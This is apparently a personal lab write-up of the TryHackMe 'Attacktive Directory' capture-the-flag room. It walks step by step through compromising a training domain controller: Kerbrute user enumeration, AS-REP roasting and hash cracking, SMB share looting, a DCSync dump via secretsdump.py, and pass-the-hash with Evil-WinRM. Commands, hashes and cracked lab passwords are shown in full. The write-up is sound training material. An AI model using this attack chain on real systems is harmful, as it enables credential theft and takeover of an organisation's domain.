Aayan Ta | 19th April, 2024 | 08:44 | Day 1 of attempting Attacktive Directory
Attacktive Directory CTF
Description: 99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?
Task 1: Deploy The Machine
Target IP = 10.10.178.210
Task 2: Setup
Installing Impacket
- Using AUR
yay -S blackarch/impacket-baUsing GitHub Releases
wget https://github.com/fortra/impacket/releases/download/impacket_0_11_0/impacket-0.11.0.tar.gz && tar xvf impacket-0.11.0.tar.gz && cd impacket-0.11.0/examples/Check if impacket is installed correctly:
psexec.py -h
Available collection of Python classes for working with network protocols in Impacket
addcomputer.py getTGT.py ntfs-read.py services.py
atexec.py GetUserSPNs.py ntlmrelayx.py smbclient.py
changepasswd.py goldenPac.py ping6.py smbexec.py
dcomexec.py karmaSMB.py ping.py smbpasswd.py
dpapi.py keylistattack.py psexec.py smbrelayx.py
DumpNTLMInfo.py kintercept.py raiseChild.py smbserver.py
esentutl.py lookupsid.py rbcd.py sniffer.py
exchanger.py machine_role.py rdp_check.py sniff.py
findDelegation.py mimikatz.py registry-read.py split.py
GetADUsers.py mqtt_check.py reg.py ticketConverter.py
getArch.py mssqlclient.py rpcdump.py ticketer.py
Get-GPPPassword.py mssqlinstance.py rpcmap.py tstool.py
GetNPUsers.py net.py sambaPipe.py wmiexec.py
getPac.py netview.py samrdump.py wmipersist.py
getST.py nmapAnswerMachine.py secretsdump.py wmiquery.pyInstall Bloodhound and Neo4j
yay -S bloodhoundTask 3: Welcome to Attacktive Directory
Enumeration using nmap
sudo nmap -v -sC -sV -oA nmap/attacktivedirectory 10.10.178.210PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-19 03:51:37Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-04-18T03:22:11
| Not valid after: 2024-10-18T03:22:11
| MD5: 6859:fc45:c4bc:9629:3ae8:611a:7b4d:9ea8
| SHA-1: 81c0:e3c6:0144:716e:5931:5538:230e:9424:45b2:968a
| -----BEGIN CERTIFICATE-----
| MIIDCjCCAfKgAwIBAgIQRZYdLn3NkIhJZt7e8/qUDjANBgkqhkiG9w0BAQsFADAu
| MSwwKgYDVQQDEyNBdHRhY2t0aXZlRGlyZWN0b3J5LnNwb29reXNlYy5sb2NhbDAe
| Fw0yNDA0MTgwMzIyMTFaFw0yNDEwMTgwMzIyMTFaMC4xLDAqBgNVBAMTI0F0dGFj
| a3RpdmVEaXJlY3Rvcnkuc3Bvb2t5c2VjLmxvY2FsMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAyKFhf9VzLoY8SL9d2gf4JG9kYlq6VEBliNiii8GP7NFk
| 2ciOXHBl9aKdxazPx2FUs/0ZgPdiFaUhs1ZMbgB32jWPeMzXiFkwTOh/UhpgNykG
| LQQ++x13B15QhfftCiUsFs/WZU1Hh/Nh+h8o/u2T02C2x8cu5i9o4Fv8Zk7s/78D
| 6fFDWBETHim62AnYqYY0OS8hXlbt68dTKx4cJBwXIk0iFDSvgm4xj18OqJY5rzTf
| DgeeKXgvRKOq3OVmsEELsUY73fAumfGcpZ3Y95ms/AmXtbibU4Gi+A9OXJTZ29gm
| e1Oa4LxzVdxQZ3Pb7enIKeU6ug/5VNh9JUm32CC/FQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBADA0
| iZ5GPmKnQJvoOPdHBChkeVIWp1HMrjpsbqioJdEr6hsbocCDWrTzDr161XUKMBzl
| zjG30yzLVFFI6GK6xeUvGQkB1kQBJgpYchs5ld9S9SSJSI6B72f+K3+Lfc6JOQDh
| srej7EcFNIwcliUF6DL2SehATa1xbOigQ1whQojQxcBk4CwEBUfLPLgogcxS9w4o
| wYfQWKa/n7wUn87eL44Bi6yhPVLoJQ/KG7aBN+NeSPy5RxZ0eeCeGSb8sXjJqbZh
| kFyeKwT44KmvT3MrRjq/KaxrTMPHS9DVxlvWTSvoSfrxhXBWPVRmWwmVpBMtJ+3J
| RDHIhMTIRDmU6X8uj4g=
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2024-04-19T03:51:49+00:00
|_ssl-date: 2024-04-19T03:51:57+00:00; -1s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: -1s
| smb2-time:
| date: 2024-04-19T03:51:49
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 51640/tcp): CLEAN (Couldn't connect)
| Check 2 (port 21261/tcp): CLEAN (Couldn't connect)
| Check 3 (port 20838/udp): CLEAN (Timeout)
| Check 4 (port 29234/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blockedGot 15 open ports using the all port scan
sudo nmap -v -sC -sV -p- -oA nmap/attacktivedirectory-all 10.10.178.210Open Ports:
less nmap/attacktivedirectory-all.nmap | grep open
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-19 04:08:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message FramingAdding to /etc/hosts
sudo vim /etc/hosts10.10.178.210 AttacktiveDirectory.spookysec.local spookysec.localNotes: Flags for each user account are available for submission. You can retrieve the flags for user accounts via RDP (Note: the login format is spookysec.local\User at the Window’s login prompt) and Administrator via Evil-WinRM.
Questions:
What tool will allow us to enumerate port 139/445?
- SMB ports 139 and 445
enum4linux
What is the NetBIOS-Domain Name of the machine?
THM-AD
What invalid TLD do people commonly use for their Active Directory Domain?
.local(spookysec.local)
Task 4: Enumerating Users via Kerberos
- Kerberos is a key authentication service within Active Directory.
- With this port open, we can use a tool called Kerbrute (by Ronnie Flathers @ropnop) to brute force discovery of users, passwords and even password spray!
or,
yay -S blackarch/kerbruteEnumeration:
For this box, a modified User List and Password List will be used to cut down on time of enumeration of users and password hash cracking.
It is NOT recommended to brute force credentials due to account lockout policies that we cannot enumerate on the domain controller.
Here is what we do:
wgetthe usernames and passwordskerbrute -hI did not know how to use this tool or how domain controllers work.
kerbrute userenum --dc "spookysec.local" -d "spookysec.local" -v -o kerb_userenum userlist.txt | grep "VALID USERNAME"
Got these valid users as a Result:
2024/04/19 10:15:18 > [+] VALID USERNAME: [email protected]
2024/04/19 10:15:22 > [+] VALID USERNAME: [email protected]
2024/04/19 10:15:26 > [+] VALID USERNAME: [email protected]
2024/04/19 10:15:27 > [+] VALID USERNAME: [email protected]
2024/04/19 10:15:39 > [+] VALID USERNAME: [email protected]
2024/04/19 10:15:49 > [+] VALID USERNAME: [email protected]
2024/04/19 10:16:09 > [+] VALID USERNAME: [email protected]
2024/04/19 10:16:16 > [+] VALID USERNAME: [email protected]
2024/04/19 10:17:15 > [+] VALID USERNAME: [email protected]
2024/04/19 10:17:31 > [+] VALID USERNAME: [email protected]Questions:
What command within Kerbrute will allow us to enumerate valid usernames?
userenum
What notable account is discovered? (These should jump out at you)
svc-admin- kerbrute result
What is the other notable account is discovered? (These should jump out at you)
backup
Aayan Ta | 27th April, 2024 | 20:00 | Day 2 of attempting Attacktive Directory
Task 5: Abusing Kerberos
Target IP = 10.10.60.39 (day 2)
AS-REP Roasting Attack
Overview: AS-REP Roasting exploits the “Does not require Pre-Authentication” setting in Kerberos. This setting allows querying for a Kerberos Ticket without initial verification.
Tool: Impacket’s GetNPUsers.py
usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE] [-format {hashcat,john}] [-usersfile USERSFILE] [-ts] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname]
target Command:
GetNPUsers.py -usersfile userlist.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.10.60.39 'spookysec.local/'Result:
$krb5asrep$23$svc[email protected]:9b7fd4870a23d1ab68f96e137455acd0$a25bf247ad52b323da8a9e6560e9fd9095e50225c8fbc1af135a180d4253b841b3ae386bc84da2215c448e2c25357227df45291264aa4cb3be18610eaa148f6e6340148af96b523361bab0a59c043687f51130d12cfaff4bfed5f7afd3f73efb5a618aacafd2ec547f689fee3e76af935d35a9702b23a16db659f25aba0a14190437682f59f25cabf0c2dfcd76e49107c17bb57dd218e514df898ee1a3c544513fa4cc1399afbf29e85aba5e20e6f6680503263128b2e6a6a4e759a90cd62fadb6a297d0578cfa509fd3caa5095e93c9b9718015fce9ca4af314253dc7a5010f27ce6eddd448f7ce374abf6e9e3e974e9235- Visiting Hashcat Wiki to identify the hash type. It’s “Kerberos 5, etype 23, AS-REP”
| Hash-Mode | Hash-Name | Example |
|---|---|---|
| 18200 | Kerberos 5, etype 23, AS-REP | [email protected]:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac |
Crack the password hash using Hashcat: (Errors)
hashcat --hash-type 18200 --attack-mode 0 ASREProastables.txt passwordlist.txtI tried installing xf86-video-amdgpu, and rocm-opencl-runtime, hashcat binary.
Hashcat doesn’t work at all !!!
Let’s use John:
john --wordlist=passwordlist.txt ASREProastables-john.txtResult:
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$svc[email protected])
1g 0:00:00:00 DONE (2024-04-27 22:35) 50.00g/s 384000p/s 384000c/s 384000C/s horoscope..tyler2
Use the "--show" option to display all of the cracked passwords reliably
Session completedQuestions:
We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?
svc-admin
Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)
Kerberos 5, etype 23, AS-REP
What mode is the hash?
18200
Now crack the hash with the modified password list provided, what is the user accounts password?
management2005
Task 6: Back to the Basics
Enumeration using smbclient:
smbclient -L 10.10.60.39 -U svc-admin
# password: management2005Result:
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\svc-admin]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup availableWhich shares can we access?
smbclient //10.10.60.39/backup -U svc-admin --password=management2005Contents of backup:
smb: \> ls
smb: \> get backup_credentials.txt
cat backup_credentials.txt
# YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYwDecoding the above string using base64 gives,
[email protected]:backupxxx7860
Questions:
What utility can we use to map remote SMB shares?
smbclient
Which option will list shares?
-L
How many remote shares is the server listing?
6
There is one particular share that we have access to that contains a text file. Which share is it?
backup
What is the content of the file?
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Decoding the contents of the file, what is the full contents?
[email protected]:backupxxx7860
Task 7: Elevating Privileges within the Domain
Domain Privilege Escalation
- The “backup” user account is directly associated with the Domain Controller.
- It holds a critical permission allowing it to sync all Active Directory changes, including password hashes.
secretsdump.py [email protected]Result:

Questions:
What method allowed us to dump NTDS.DIT?
DRSUAPI- Top of the result
[*] Using the DRSUAPI method to get NTDS.DIT secrets
- Top of the result
What is the Administrators NTLM hash?
0exxxxxxxxxxxxxxxxxxxxxxxxxxxfc- Credentials format: (domain\uid:rid:lmhash:nthash)
What method of attack could allow us to authenticate as the user without the password?
Pass the hash- hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a userβs password.
Using a tool called Evil-WinRM what option will allow us to use a hash?
-H
Task 8: Flag Submission Panel
Evil-WinRM
Evil-WinRM is a powerful Windows Remote Management (WinRM) shell uses PowerShell for remote administration and control of Windows hosts, from enumeration to execution.
Command:
evil-winrm -i 10.10.60.39 -u Administrator -H 0exxxxxxxxxxxxxxfcResult:
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Get-Content "C:/Users/Administrator/Desktop/root.txt"
TryHackMe{4cxxxxxxxxxxxxxx3r}Questions:
svc-admin
TryHackMe{Kxxxxxxxxxxxxxh}
backup
TryHackMe{Bxxxxxxxxxxxxy!}
Administrator
TryHackMe{4cxxxxxxxxxxt3r}
Cleaning System Up
-
yay -Rsndd evil-winrm john kerbrute bloodhound impacket-ba